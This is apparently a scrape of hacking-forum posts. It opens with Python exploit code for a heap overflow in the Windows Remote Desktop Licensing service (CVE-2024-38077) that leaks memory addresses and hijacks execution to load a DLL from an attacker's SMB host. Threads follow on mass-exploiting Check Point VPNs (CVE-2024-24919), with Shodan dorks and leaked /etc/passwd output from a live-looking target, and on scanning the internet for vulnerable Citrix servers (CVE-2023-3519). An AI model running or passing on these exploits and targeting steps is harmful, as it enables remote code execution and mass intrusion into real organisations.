class PTLSCERT_EXTENSION(NDRPOINTER):
    referent = (
        ("Data", TLSCERT_EXTENSION_ARRAY),
    )


class TLSHYDRACERTREQUEST(NDRSTRUCT):
    structure = (
        ("dwHydraVersion", DWORD),
        ("cbEncryptedHwid", DWORD),
        ("pbEncryptedHwid", PBYTE),
        ("szSubjectRdn", PWCHAR),
        ("pSubjectPublicKeyInfo", PTLSCERT_PUBLIC_KEY_INFO),
        ("dwNumCertExtension", DWORD),
        ("pCertExtensions", PTLSCERT_EXTENSION),
    )


class PTLSHYDRACERTREQUEST(NDRPOINTER):
    referent = (
        ("Data", TLSHYDRACERTREQUEST),
    )


class TLSRpcRequestTermServCert(NDRCALL):
    opnum = 34
    structure = (
        ("phContext", CONTEXT_HANDLE),
        ("pbRequest", TLSHYDRACERTREQUEST),
        ("cbChallengeData", DWORD),
        ("pdwErrCode", DWORD),
    )


class TLSRpcRequestTermServCertResponse(NDRCALL):
    structure = (
        ("cbChallengeData", ULONG),
        ("pbChallengeData", PBYTE),
        ("pdwErrCode", ULONG),
    )


class TLSRpcRetrieveTermServCert(NDRCALL):
    opnum = 35
    structure = (
        ("phContext", CONTEXT_HANDLE),
        ("cbResponseData", DWORD),
        ("pbResponseData", BBYTE),
        ("cbCert", DWORD),
        ("pbCert", BBYTE),
        ("pdwErrCode", DWORD),
    )


class TLSRpcRetrieveTermServCertResponse(NDRCALL):
    structure = (
        ("cbCert", PUINT),
        ("pbCert", BBYTE),
        ("pdwErrCode", PUINT),
    )


class TLSRpcTelephoneRegisterLKP(NDRCALL):
    opnum = 49
    structure = (
        ("ctx_handle", CONTEXT_HANDLE),
        ("dwData", ULONG),
        ("pbData", BBYTE),
        ("pdwErrCode", ULONG)
    )


class TLSRpcTelephoneRegisterLKPResponse(NDRCALL):
    structure = (
        ("pdwErrCode", ULONG)
    )


class TLSCHALLENGEDATA(NDRSTRUCT):
    structure = (
        ("dwVersion", ULONG),
        ("dwRandom", ULONG),
        ("cbChallengeData", ULONG),
        ("pbChallengeData", PBYTE),
        ("cbReservedData", ULONG),
        ("pbReservedData", PBYTE),
    )


class PTLSCHALLENGEDATA(NDRPOINTER):
    referent = (
        ("Data", TLSCHALLENGEDATA),
    )


class TLSCHALLENGERESPONSEDATA(NDRSTRUCT):
    structure = (
        ("dwVersion", ULONG),
        ("cbResponseData", ULONG),
        ("pbResponseData", PBYTE),
        ("cbReservedData", ULONG),
        ("pbReservedData", PBYTE),
    )


class PTLSCHALLENGERESPONSEDATA(NDRPOINTER):
    referent = (
        ("Data", TLSCHALLENGERESPONSEDATA),
    )


class TLSRpcChallengeServer(NDRCALL):
    opnum = 44
    structure = (
        ("phContext", CONTEXT_HANDLE),
        ("dwClientType", ULONG),
        ("pClientChallenge", TLSCHALLENGEDATA),
        ("pdwErrCode", ULONG),
    )


class TLSRpcChallengeServerResponse(NDRCALL):
    structure = (
        ("pServerResponse", PTLSCHALLENGERESPONSEDATA),
        ("pServerChallenge", PTLSCHALLENGEDATA),
        ("pdwErrCode", ULONG),
    )


class TLSRpcResponseServerChallenge(NDRCALL):
    opnum = 45
    structure = (
        ("phContext", CONTEXT_HANDLE),
        ("pClientResponse", TLSCHALLENGERESPONSEDATA),
        ("pdwErrCode", ULONG),
    )


class TLSRpcResponseServerChallengeResponse(NDRCALL):
    structure = (
        ("pdwErrCode", ULONG),
    )


class TLSRpcRegisterLicenseKeyPack(NDRCALL):
    opnum = 38
    structure = (
        ("lpContext", CONTEXT_HANDLE),
        ("arg_1", BBYTE),
        ("arg_2", ULONG),
        ("arg_3", BBYTE),
        ("arg_4", ULONG),
        ("lpKeyPackBlob", BBYTE),
        ("arg_6", ULONG),
        ("pdwErrCode", ULONG),
    )


class TLSRpcRegisterLicenseKeyPackResponse(NDRCALL):
    structure = (
        ("pdwErrCode", ULONG),
    )


class WIDESTR_STRIPPED(WIDESTR):
    length = None

    def __getitem__(self, key):
        if key == 'Data':
            return self.fields[key].decode('utf-16le').rstrip('\x00')
        else:
            return NDR.__getitem__(self, key)

    def getDataLen(self, data, offset=0):
        if self.length is None:
            return super().getDataLen(data, offset)
        return self.length * 2


class WCHAR_ARRAY_256(WIDESTR_STRIPPED):
    length = 256


class LSKeyPack(NDRSTRUCT):
    structure = (
        ("dwVersion", DWORD),
        ("ucKeyPackType", UCHAR),
        ("szCompanyName", WCHAR_ARRAY_256),
        ("szKeyPackId", WCHAR_ARRAY_256),
        ("szProductName", WCHAR_ARRAY_256),
        ("szProductId", WCHAR_ARRAY_256),
        ("szProductDesc", WCHAR_ARRAY_256),
        ("wMajorVersion", WORD),
        ("wMinorVersion", WORD),
        ("dwPlatformType", DWORD),
        ("ucLicenseType", UCHAR),
        ("dwLanguageId", DWORD),
        ("ucChannelOfPurchase", UCHAR),
        ("szBeginSerialNumber", WCHAR_ARRAY_256),
        ("dwTotalLicenseInKeyPack", DWORD),
        ("dwProductFlags", DWORD),
        ("dwKeyPackId", DWORD),
        ("ucKeyPackStatus", UCHAR),
        ("dwActivateDate", DWORD),
        ("dwExpirationDate", DWORD),
        ("dwNumberOfLicenses", DWORD),
    )


class LPLSKeyPack(NDRPOINTER):
    referent = (
        ("Data", LSKeyPack),
    )


class TLSRpcKeyPackEnumNext(NDRCALL):
    opnum = 13
    structure = (
        ("phContext", CONTEXT_HANDLE),
        ("lpKeyPack", LPLSKeyPack),
        ("pdwErrCode", ULONG),
    )


class TLSRpcKeyPackEnumNextResponse(NDRCALL):
    structure = (
        ("pdwErrCode", ULONG),
    )


class TLSRpcDisconnect(NDRCALL):
    opnum = 2
    structure = (
        ("ctx_handle", CONTEXT_HANDLE),
    )


class TLSRpcDisconnectResponse(NDRCALL):
    structure = (
        ("ctx_handle", CONTEXT_HANDLE),
    )


class TLSRpcGetServerName(NDRCALL):
    opnum = 4
    structure = (
        ("ctx_handle", CONTEXT_HANDLE),
        ("serverName", WCHAR),
        ("nameLen", ULONG),
        ("errCode", ULONG),
    )


class TLSRpcGetServerNameResponse(NDRCALL):
    structure = (
        ("serverName", WCHAR),
        ("nameLen", ULONG),
        ("pdwErrCode", ULONG),
    )


# 反转编码后的字符串
def b24encode(data, charmap):
    data = data[::-1]
    data = bytes_to_long(data)
    enc = b""
    while data != 0:
        tmp = data % len(charmap)
        data //= len(charmap)
        enc += charmap[tmp]
    return enc[::-1]


# 发送注册许可证密钥包请求
def spray_lfh_chunk(size, loopsize):
    payload = b"\x00" * size
    reg_lic_keypack = construct_TLSRpcRegisterLicenseKeyPack(payload)
    for _ in range(loopsize):
        dce.request(reg_lic_keypack)


# 断开连接后的句柄
def disconnect(handle):
    global dce
    disconn = TLSRpcDisconnect()
    disconn["ctx_handle"] = handle
    disconn_res = dce.request(disconn)
    ret = disconn_res["ctx_handle"]
    return ret


# 从句柄列表中移除已经断开连接的句柄
def handles_free():
    global handle_lists, heap_base
    sleep(7)
    for i in range(0x8):
        handle = handle_lists[0x400 + i * 2]
        disconnect(handle)
        handle_lists.remove(handle)


def spray_handles(times):
    global dce, handle_lists
    handle_lists = []
    for _ in range(times):
        rpc_conn = TLSRpcConnect()
        res_rpc_conn = dce.request(rpc_conn)
        handle = res_rpc_conn["ctx_handle"]
        handle_lists.append(handle)


def spray_fake_obj(reg_lic_keypack, times=0x300):
    global dce
    for i in range(times):
        dce.request(reg_lic_keypack)


def construct_TLSRpcTelephoneRegisterLKP(payload):
    global ctx_handle
    tls_register_LKP = TLSRpcTelephoneRegisterLKP()
    tls_register_LKP["ctx_handle"] = ctx_handle
    tls_register_LKP["dwData"] = payload
    tls_register_LKP["pbData"] = payload
    return tls_register_LKP


def construct_overflow_arbread_buf(addr, padding):
    payload = b"a" * 21
    payload += p64(addr)
    if padding:
        payload += p32(0)
        payload += p32(0)
        payload += p32(1)
    tls_register_LKP = construct_TLSRpcTelephoneRegisterLKP(payload)
    return tls_register_LKP


# 构造Payload
def construct_overflow_fake_obj_buf(fake_obj_addr):
    payload = b"a" * 21
    payload += p64(0)
    payload += p32(0)
    payload += p32(1)
    payload += p32(0)
    payload += p32(1)
    payload += p64(fake_obj_addr)
    payload += p8(1)
    tls_register_LKP = construct_TLSRpcTelephoneRegisterLKP(payload)
    return tls_register_LKP


def arb_read(addr, padding=False, passZero=False, leakHeapBaseOffset=0):
    global leak_idx, handle_lists, dce, ctx_handle
    if leakHeapBaseOffset != 0:
        spray_lfh_chunk(0x20, 0x800)
    else:
        spray_lfh_chunk(0x20, 0x400)
    spray_handles(0xc00)
    handles_free()
    serverName = "a" * 0x10
    get_server_name = TLSRpcGetServerName()
    get_server_name["serverName"] = serverName + "\x00"
    get_server_name["nameLen"] = len(serverName) + 1
    get_server_name["errCode"] = 0
    if leakHeapBaseOffset != 0:
        tls_register_LKP = construct_overflow_arbread_buf(addr[0], padding)
    else:
        tls_register_LKP = construct_overflow_arbread_buf(addr, padding)
    pbData = b"c" * 0x10
    tls_blob = TLSBLOB()
    tls_blob["cbData"] = len(pbData)
    tls_blob["pbData"] = pbData
    tls_cert_extension = TLSCERT_EXTENSION()
    tls_cert_extension["pszObjId"] = "d" * 0x10 + "\x00"
    tls_cert_extension["fCritical"] = False
    tls_cert_extension["Value"] = tls_blob
    pbData2 = bytes.fromhex(
        "3048024100bf1be06ab5c535d8e30a3b3dc616ec084ff4f5b9cfb2a30695ccc6c58c37356c938d3c165d980b07882a35f22ac2e580624cc08a2a3391e5e1f608f94764b27d0203010001")
    tls_crypt_bit_blob = TLSCRYPT_BIT_BLOB()
    tls_crypt_bit_blob["cbData"] = len(pbData2)
    tls_crypt_bit_blob["cbData"] = pbData2
    tls_crypt_bit_blob["cUnusedBits"] = 0
    tls_blob2 = TLSBLOB()
    tls_blob2["cbData"] = 0
    tls_blob2["pbData"] = b""
    tls_crypto_algorithm_identifier = TLSCRYPT_ALGORITHM_IDENTIFIER()
    tls_crypto_algorithm_identifier["pszObjId"] = "1.2.840.113549.1.1.1\x00"
    tls_crypto_algorithm_identifier["Parameters"] = tls_blob2
    tls_cert_public_key_info = TLSCERT_PUBLIC_KEY_INFO()
    tls_cert_public_key_info["Algorithm"] = tls_crypto_algorithm_identifier
    tls_cert_public_key_info["PublicKey"] = tls_crypt_bit_blob
    encryptedHwid = b"e" * 0x20
    hydra_cert_request = TLSHYDRACERTREQUEST()
    hydra_cert_request["dwHydraVersion"] = 0
    hydra_cert_request["cbEncryptedHwid"] = len(encryptedHwid)
    hydra_cert_request["pbEncryptedHwid"] = encryptedHwid
    hydra_cert_request["szSubjectRdn"] = "bbb\x00"
    hydra_cert_request["pSubjectPublicKeyInfo"] = tls_cert_public_key_info
    dwNumCertExtension = 0
    hydra_cert_request["dwNumCertExtension"] = dwNumCertExtension
    pbResponseData = b"a" * 0x10
    pbCert = b"b" * 0x10
    count = 0
    while True:
        count += 1
        sleep(5)
        try:
            dce.request(tls_register_LKP)
        except:
            pass
        retAddr = 0x0
        for handle in handle_lists[::-1]:
            if padding:
                get_server_name["ctx_handle"] = handle
                res_get_server_name = dce.request(get_server_name)
                err_code = res_get_server_name["pdwErrCode"]
                if (err_code == 0):
                    continue
            rpc_term_serv_cert = TLSRpcRequestTermServCert()
            rpc_term_serv_cert["phContext"] = handle
            rpc_term_serv_cert["pbRequest"] = hydra_cert_request
            rpc_term_serv_cert["cbChallengeData"] = 0x100
            rpc_term_serv_cert["pdwErrCode"] = 0
            rpc_retrieve_serv_cert = TLSRpcRetrieveTermServCert()
            rpc_retrieve_serv_cert["phContext"] = handle
            rpc_retrieve_serv_cert["cbResponseData"] = len(pbResponseData)
            rpc_retrieve_serv_cert["pbResponseData"] = pbResponseData
            rpc_retrieve_serv_cert["cbCert"] = len(pbCert)
            rpc_retrieve_serv_cert["pbCert"] = pbCert
            rpc_retrieve_serv_cert["pdwErrCode"] = 0
            try:
                res_rpc_term_serv_cert = dce.request(rpc_term_serv_cert)
                res_rpc_retrieve_serv_cert = dce.request(rpc_retrieve_serv_cert)
                data = res_rpc_retrieve_serv_cert["pbCert"]
                if b"n\x00c\x00a\x00c\x00n\x00" not in data:
                    handle_lists.remove(handle)
                    if leak_idx == 0:
                        if leakHeapBaseOffset != 0:
                            for i in range(len(data) - 6):
                                retAddr = data[i + 4:i + 6] + data[i + 2:i + 4] + data[i:i + 2]
                                retAddr = bytes_to_long(retAddr) - leakHeapBaseOffset
                                if retAddr & 0xffff == 0:
                                    leak_idx = i
                                    print("[+] Find leak_idx: 0x{:x}".format(leak_idx))
                                    return retAddr
                        else:
                            print("[-] Finding leak_idx error!")
                            exit(-1)
                    else:
                        if passZero:
                            data = data[leak_idx:leak_idx + 4]
                            retAddr = data[2:4] + data[0:2]
                        else:
                            data = data[leak_idx:leak_idx + 6]
                            retAddr = data[4:6] + data[2:4] + data[0:2]
                        retAddr = bytes_to_long(retAddr)
                        return retAddr
            except:
                continue
        if leakHeapBaseOffset != 0:
            if count < len(addr):
                targetAddr = addr[count]
                tls_register_LKP = construct_overflow_arbread_buf(targetAddr, padding)
            else:
                print("G!")
                targetAddr = 0xdeaddeadbeefbeef
                tls_register_LKP = construct_overflow_arbread_buf(targetAddr, True)
        if leakHeapBaseOffset != 0:
            spray_lfh_chunk(0x20, 0x800)
        else:
            spray_lfh_chunk(0x20, 0x400)
        spray_handles(0xc00)
        handles_free()


def construct_fake_obj(heap_base, rpcrt4_base, kernelbase_base, arg1, NdrServerCall2_offset=0x16f50,
                       OSF_SCALL_offset=0xdff10, LoadLibraryA_offset=0xf6de0):
    print("Hidden to prevent abusing")
    payload = 0
    fake_obj_addr = 0
    return payload, fake_obj_addr


def construct_TLSRpcRegisterLicenseKeyPack(payload):
    global ctx_handle
    my_cert_exc = bytes.fromhex(
        "308201363081e5a0030201020208019e2bfac0ae2c30300906052b0e03021d05003011310f300d06035504031e06006200620062301e170d3730303630353039323731335a170d3439303630353039323731335a3011310f300d06035504031e06006200620062305c300d06092a864886f70d0101010500034b003048024100b122dfa634ad803cbf0c1133986e7e551a036a1dfd521cd613c4972cd6f096f2a3dd0b8f80b8a26909137225134ec9d98b3acffd79c665061368c217613aba050203010001a3253023300f0603551d13040830060101ff020100301006082b06010401823712040401020300300906052b0e03021d05000341003f4ceda402ad607b9d1a38095efe25211010feb1e5a30fe5af6705c2e53a19949eaf50875e2e77c71a9b4945d631360c9dbec1f17d7e096c318547f8167d840e")
    my_cert_sig = bytes.fromhex(
        "3082036406092a864886f70d010702a0820355308203510201013100300b06092a864886f70d010701a0820339308201363081e5a0030201020208019e2bfac0ab6d10300906052b0e03021d05003011310f300d06035504031e06006200620062301e170d3730303630353039323731335a170d3439303630353039323731335a3011310f300d06035504031e06006200620062305c300d06092a864886f70d0101010500034b003048024100b122dfa634ad803cbf0c1133986e7e551a036a1dfd521cd613c4972cd6f096f2a3dd0b8f80b8a26909137225134ec9d98b3acffd79c665061368c217613aba050203010001a3253023300f0603551d13040830060101ff020100301006082b06010401823712040401020300300906052b0e03021d05000341009fd29b18115c7ef500a2ee543a4bb7528403ccb4e9fe7fe3ac2dcbf9ede68a1eca02f97c6a0f3c2384d85ab12418e523db90958978251e28d0e7903829e46723308201fb308201a9a0030201020208019e2bfac0ab6d10300906052b0e03021d05003011310f300d06035504031e06006200620062301e170d3730303630353039323731335a170d3439303630353039323731335a300d310b300906035504031302610030820122300d06092a864886f70d01010105000382010f003082010a0282010100e05a714323273db5f17c731e7db3b07397cf08a6d614484ab715793af931376622e3b86820ddb26ea763636c55092c712296da18049fd7e61b4429b1a14a85ab4567639c2d2fbc6098893ed9c553fb14f9f488f6ffa38f9ee3aaf44888981bdec21e7d617e6c7fc019e8f896098eb76470d56c4666c015f784f172aa7b4999c6fdc48e6e2a4cdaf256d69fcdd14cc82d50eb5a4e48a810679f97a5f6a933dd12e63159a72c1b3ba8c7e59af0dabdcc40f2489df6335f74614b1d2b9016644a12bce70e7470977a6e5025e9251dc4300d6ef39860cad59b06a9b81a27491e83ea826a505c3c756df9529e538259c004a832a67783893486171d3a075db49026e90203010001a3253023300f0603551d13040830060101ff020100301006082b06010401823712040401020300300906052b0e03021d05000341004b949db70bb077d19adfc707c20420afb99ae1f0a3e857ab4e3f085fe2c84b539412f4235dce03a53a43ddaa76adf7cc32e36af7b8e4e31707f881241d6bf36b3100")
    TEST_RSA_PUBLIC_MSKEYBLOB = bytes.fromhex(
        "080200001066000020000000c61b815f961a35c688b5af232f81158c3a21f95ec897a6efa41d5b23bcf0387e")
    data = b"\x00" * 0x3c
    data += p32(len(payload))
    data += payload
    data += b"\x00" * 0x10
    rsa_pub_key = CryptImportKey(TEST_RSA_PUBLIC_MSKEYBLOB)
    encrypted_data = CryptEncrypt(rsa_pub_key, data)
    key = TEST_RSA_PUBLIC_MSKEYBLOB
    data = encrypted_data
    payload = b""
    payload += p32(len(key))
    payload += key
    payload += p32(len(data))
    payload += data
    reg_lic_keypack = TLSRpcRegisterLicenseKeyPack()
    reg_lic_keypack["lpContext"] = ctx_handle
    reg_lic_keypack["arg_1"] = my_cert_sig
    reg_lic_keypack["arg_2"] = len(my_cert_sig)
    reg_lic_keypack["arg_3"] = my_cert_exc
    reg_lic_keypack["arg_4"] = len(my_cert_exc)
    reg_lic_keypack["lpKeyPackBlob"] = payload
    reg_lic_keypack["arg_6"] = len(payload)
    reg_lic_keypack["pdwErrCode"] = 0
    return reg_lic_keypack


def construct_TLSRpcKeyPackEnumNext(handle):
    pLSKeyPack = LSKeyPack()
    pLSKeyPack["dwVersion"] = 1
    pLSKeyPack["ucKeyPackType"] = 1
    pLSKeyPack["szCompanyName"] = "a" * 255 + "\x00"
    pLSKeyPack["szKeyPackId"] = "a" * 255 + "\x00"
    pLSKeyPack["szProductName"] = "a" * 255 + "\x00"
    pLSKeyPack["szProductId"] = "a" * 255 + "\x00"
    pLSKeyPack["szProductDesc"] = "a" * 255 + "\x00"
    pLSKeyPack["wMajorVersion"] = 1
    pLSKeyPack["wMinorVersion"] = 1
    pLSKeyPack["dwPlatformType"] = 1
    pLSKeyPack["ucLicenseType"] = 1
    pLSKeyPack["dwLanguageId"] = 1
    pLSKeyPack["ucChannelOfPurchase"] = 1
    pLSKeyPack["szBeginSerialNumber"] = "a" * 255 + "\x00"
    pLSKeyPack["dwTotalLicenseInKeyPack"] = 1
    pLSKeyPack["dwProductFlags"] = 1
    pLSKeyPack["dwKeyPackId"] = 1
    pLSKeyPack["ucKeyPackStatus"] = 1
    pLSKeyPack["dwActivateDate"] = 1
    pLSKeyPack["dwExpirationDate"] = 1
    pLSKeyPack["dwNumberOfLicenses"] = 1
    rpc_key_pack_enum_next = TLSRpcKeyPackEnumNext()
    rpc_key_pack_enum_next["phContext"] = handle
    rpc_key_pack_enum_next["lpKeyPack"] = pLSKeyPack
    rpc_key_pack_enum_next["pdwErrCode"] = 0
    return rpc_key_pack_enum_next


def hijack_rip_and_rcx(heap_base, rpcrt4_base, kernelbase_base, arg1):
    global handle_lists, dce
    payload, fake_obj_addr = construct_fake_obj(heap_base, rpcrt4_base, kernelbase_base, arg1)
    print("[+] Calculate fake_obj_addr: 0x{:x}".format(fake_obj_addr))
    reg_lic_keypack = construct_TLSRpcRegisterLicenseKeyPack(payload)
    print("[*] Hijack rip and rcx")
    print("[*] rip: kernelbase!LoadLibraryA")
    print("[*] rcx: {0}".format(arg1))
    while True:
        spray_fake_obj(reg_lic_keypack)
        spray_lfh_chunk(0x20, 0x800)
        spray_handles(0xc00)
        handles_free()
        tls_register_LKP = construct_overflow_fake_obj_buf(fake_obj_addr)
        try:
            dce.request(tls_register_LKP)
        except:
            pass
        print("[*] Try to connect to server...")
        for handle in handle_lists[::-1]:
            rpc_key_pack_enum_next = construct_TLSRpcKeyPackEnumNext(handle)
            try:
                dce.request(rpc_key_pack_enum_next)
            except:
                pass
        print("[*] Check whether the exploit successed? (Y/N)\t")
        status = input("[*] ")
        if status == "Y" or status == "y":
            print("[+] Exploit success!")
            exit(0)


def connect_to_license_server(target_ip):
    global dce, rpctransport, ctx_handle
    stringbinding = epm.hept_map(target_ip, UUID, protocol="ncacn_ip_tcp")
    rpctransport = transport.DCERPCTransportFactory(stringbinding)
    rpctransport.set_connect_timeout(100)
    dce = rpctransport.get_dce_rpc()
    dce.set_auth_level(2)
    dce.connect()
    dce.bind(UUID)
    rpc_conn = TLSRpcConnect()
    res_rpc_conn = dce.request(rpc_conn)
    ctx_handle = res_rpc_conn["ctx_handle"]
    get_version = TLSRpcGetVersion()
    get_version["ctx_handle"] = ctx_handle
    get_version["version"] = 3
    res_get_version = dce.request(get_version)
    version = res_get_version["version"]
    print("[+] Get Server version: 0x{:x}".format(version))
    CHAL_DATA = b"a" * 0x10
    RESV_DATA = b"b" * 0x10
    cli_chal = TLSCHALLENGEDATA()
    cli_chal["dwVersion"] = 0x10000
    cli_chal["dwRandom"] = 0x4
    cli_chal["cbChallengeData"] = len(CHAL_DATA) + 1
    cli_chal["pbChallengeData"] = CHAL_DATA + b"\x00"
    cli_chal["cbReservedData"] = len(RESV_DATA) + 1
    cli_chal["pbReservedData"] = RESV_DATA + b"\x00"
    chal_server = TLSRpcChallengeServer()
    chal_server["phContext"] = ctx_handle
    chal_server["dwClientType"] = 0
    chal_server["pClientChallenge"] = cli_chal
    chal_server["pdwErrCode"] = 0
    chal_response = dce.request(chal_server)
    g_pszServerGuid = "d63a773e-6799-11d2-96ae-00c04fa3080d".encode("utf-16")[2:]
    dwRandom = chal_response["pServerChallenge"]["dwRandom"]
    pbChallengeData = b"".join(chal_response["pServerChallenge"]["pbChallengeData"])
    pbResponseData = hashlib.md5(pbChallengeData[:dwRandom] + g_pszServerGuid + pbChallengeData[dwRandom:]).digest()
    pClientResponse = TLSCHALLENGERESPONSEDATA()
    pClientResponse["dwVersion"] = 0x10000
    pClientResponse["cbResponseData"] = len(pbResponseData)
    pClientResponse["pbResponseData"] = pbResponseData
    pClientResponse["cbReservedData"] = 0
    pClientResponse["pbReservedData"] = ""
    resp_ser_chal = TLSRpcResponseServerChallenge()
    resp_ser_chal["phContext"] = ctx_handle
    resp_ser_chal["pClientResponse"] = pClientResponse
    resp_ser_chal["pdwErrCode"] = 0
    res_resp_ser_chal = dce.request(resp_ser_chal)


def leak_addr():
    global heap_base, ntdll_base, peb_base, pe_base, rpcrt4_base, kernelbase_base
    heap_offset_list = [0x100008, 0x100008, 0x400000, 0x600000, 0x800000, 0xb00000, 0xd00000, 0xf00000]
    heap_base = arb_read(heap_offset_list, leakHeapBaseOffset=0x188)
    print("[+] Leak heap_base: 0x{:x}".format(heap_base))
    ntdll_base = arb_read(heap_base + 0x102048, padding=True) - 0x1bd2a8
    print("[+] Leak ntdll_base: 0x{:x}".format(ntdll_base))
    tls_bit_map_addr = ntdll_base + 0x1bd268
    print("[+] Leak tls_bit_map_addr: 0x{:x}".format(tls_bit_map_addr))
    peb_base = arb_read(tls_bit_map_addr, padding=True) - 0x80
    print("[+] Leak peb_base: 0x{:x}".format(peb_base))
    pe_base = arb_read(peb_base + 0x12, padding=True, passZero=True) << 16
    print("[+] Leak pe_base: 0x{:x}".format(pe_base))
    pe_import_table_addr = pe_base + 0x10000
    print("[+] Leak pe_import_table_addr: 0x{:x}".format(pe_import_table_addr))
    rpcrt4_base = arb_read(pe_import_table_addr, padding=True) - 0xa4d70
    print("[+] Leak rpcrt4_base: 0x{:x}".format(rpcrt4_base))
    rpcrt4_import_table_addr = rpcrt4_base + 0xe7bf0
    print("[+] Leak rpcrt4_import_table_addr: 0x{:x}".format(rpcrt4_import_table_addr))
    kernelbase_base = arb_read(rpcrt4_import_table_addr, padding=True) - 0x10aec0
    print("[+] Leak kernelbase_base: 0x{:x}".format(kernelbase_base))
    return heap_base


def pwn(target_ip, evil_ip, evil_dll_path, check_vuln_exist):
    global dce, rpctransport, handle_lists, leak_idx, heap_base, rpcrt4_base, kernelbase_base, pe_base, peb_base
    arg1 = "\\\\{0}{1}".format(evil_ip, evil_dll_path)
    print("-" * 0x50)
    print(DESCRIPTION)
    print("\ttarget_ip: {0}\n\tevil_ip: {1}\n\tevil_dll_path: {2}\n\tcheck_vuln_exist: {3}".format(target_ip, evil_ip,arg1,check_vuln_exist))
    # 循环3次
    for i in range(TRY_TIMES):
        print("-" * 0x50)
        print("[*] Run exploit script for {0} / {1} times".format(i + 1, TRY_TIMES))
        try:
            connect_to_license_server(target_ip)  # 建立连接
            heap_base = leak_addr()  # 泄漏dll基地址
            if heap_base is not None:
                print("[+] Target exists vulnerability, try exploit...")
            else:
                print("[-] Failed to check for vulnerability.")
                exit(0)
            hijack_rip_and_rcx(heap_base, rpcrt4_base, kernelbase_base, arg1)  # 劫持rip rcx
            # 断开连接
            dce.disconnect()
            rpctransport.disconnect()
        # 如果失败重复两次
        except (ConnectionResetError, DCERPCException) as e:
            if i == TRY_TIMES - 1:
                print("[-] Crashed {0} times, run exploit script failed!".format(TRY_TIMES))
            else:
                print("[-] Crashed, waiting for the service to restart, need {0} seconds...".format(SLEEP_TIME))
                sleep(SLEEP_TIME)
            handle_lists = []
            leak_idx = 0
            pass


if __name__ == '__main__':
    parse = argparse.ArgumentParser(description=DESCRIPTION)
    parse.add_argument("--target_ip", type=str, required=True, help="Target IP, eg: 192.168.120.1")
    parse.add_argument("--evil_ip", type=str, required=True, help="Evil IP, eg: 192.168.120.2")
    parse.add_argument("--evil_dll_path", type=str, required=False, default="\\smb\\evil_dll.dll",
                       help="Evil dll path, eg: \\smb\\evil_dll.dll")
    parse.add_argument("--check_vuln_exist", type=bool, required=False, default=False,
                       help="Check vulnerability exist before exploit")
    args = parse.parse_args()
    pwn(args.target_ip, args.evil_ip, args.evil_dll_path, args.check_vuln_exist)

github.com

[ GitHub - qi4L/CVE-2024-38077: RDL的堆溢出导致的RCE

](https://github.com/qi4L/CVE-2024-38077?tab=readme-ov- file#cve-2024-38077-exp)

RDL的堆溢出导致的RCE. Contribute to qi4L/CVE-2024-38077 development by creating an account on GitHub.

github.com github.com

CVE-2024-24919 Check Point Remote Access VPN
ID: 67686ba3b4103b69df379b40
Thread ID: 115851
Created: 2024-06-01T18:04:54+0000
Last Post: 2024-08-05T14:14:35+0000
Author: Focus17
Prefix: Remote
Replies: 17 Views: 3K

github.com

[ GitHub - RevoltSecurities/CVE-2024-24919: An Vulnerability detection

and Exploitation tool for CVE-2024-24919 ](https://github.com/RevoltSecurities/CVE-2024-24919)

An Vulnerability detection and Exploitation tool for CVE-2024-24919 - RevoltSecurities/CVE-2024-24919

github.com github.com

Shodan"Server: Check Point SVN"
fofatitle=="Check Point SSL Network Extender"

Code:Copy to clipboard

python3 exploit.py -l targets.txt -t 200 -o output.txt -ftd /etc/passwd


    ______     ____  __         _ ______        
   / ____/  __/ __ \/ /  ____  (_)_  __/__  _____
  / __/ | |/_/ /_/ / /  / __ \/ / / / / _ \/ ___/
 / /____>  </ ____/ /__/ /_/ / / / / /  __/ /  
/_____/_/|_/_/   /_____|____/_/ /_/  \___/_/    
 
                    @RevoltSecurities

[Vulnerable]: https://185.200.78.XXXX
### Never edit this file manually. In order to login as expert and allow scp access, run "bashUser on" ###
root:!:0:0:root:/:/bin/false
nobody:x:99:99:nobody:/nonexistent:/bin/false
ntp:x:38:38::/nonexistent:/bin/false
rpm:x:37:37::/nonexistent:/bin/false
pcap:x:77:77::/nonexistent:/bin/false
admin:x:0:0:Linux User,,,:/:/bin/bash
saytel_adm:x:0:0:Linux User,,,:/:/bin/clish
davidg_adm:x:0:0:Linux User,,,:/:/bin/clish
sshd:x:74:74:Privilege-separated:/var/empty/sshd:/bin/false

shodan count "Server: Check Point SVN"
53758

CVE-2023-3519
ID: 67686ba3b4103b69df379bae
Thread ID: 93662
Created: 2023-07-22T15:36:26+0000
Last Post: 2023-08-20T14:18:17+0000
Author: Prokhorenco
Replies: 24 Views: 3K

Over 15K Citrix servers likely vulnerable to CVE-2023-3519 attacks

(bleepingcomputer)​

Scan
Identify ports:

https://www.shodan.io/search?query=Citrix+Gateway

1.png

https://www.shodan.io/search?query=Citrix+ADC

2.png

Masscan:

Code:Copy to clipboard

masscan -Pn -sS -iL ranges.txt --rate 50000 -p23946,8200,4282,2008,8009 --open-only --excludefile block.txt --output-format list --output-file citrix_gateway_results.txt

Parse IPs:

Code:Copy to clipboard

grep -Eo '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' citrix_gateway_results.txt > citrix_gateway_scan.txt

Vulnerability scan:

Code:Copy to clipboard

nmap -p 23946,8200,4282,2008,8009 -Pn -n --script cve-2023-3519-checker.nse -iL citrix_gateway_scan.txt -oA CVE_2023_3519_vulns.txt

Misc:
1. https://github.com/d0rb/CVE-2023-3519/blob/main/CVE-2023-3519.py
2. https://github.com/SalehLardhi/CVE-2023-3519

References:

https://www.bleepingcomputer[.]com/...rs-likely-vulnerable-to- cve-2023-3519-attacks

Threat Actors Exploiting Citrix CVE-2023-3519 to Implant Webshells | CISA

www.cisa.gov www.cisa.gov

github.com

[ CitrixFall/cve-2023-3519-checker.nse at main · dorkerdevil/CitrixFall

](https://github.com/dorkerdevil/CitrixFall/blob/main/cve-2023-3519-checker.nse)

nse script to identify server vulnerable to CVE-2023-3519 - dorkerdevil/CitrixFall

github.com github.com

![lite.ip2location.com](/proxy.php?image=https%3A%2F%2Fcdn- lite.ip2location.com%2Fimg%2Fog-lite- ip2location.png&hash=acef1bd7e10a593b538e26f26187edd5&return_error=1)

[ IP Address Ranges by Country ](https://lite.ip2location.com/ip-address-

ranges-by-country)

IP2Location provides a breakdown list of all IP address ranges by 249 countries according to ISO 3166 standard.

lite.ip2location.com lite.ip2location.com

![gist.github.com](/proxy.php?image=https%3A%2F%2Fgithub.githubassets.com%2Fassets%2Fgist- og- image-54fd7dc0713e.png&hash=3c443d37e802be4e12ebf9a55c2a4385&return_error=1)

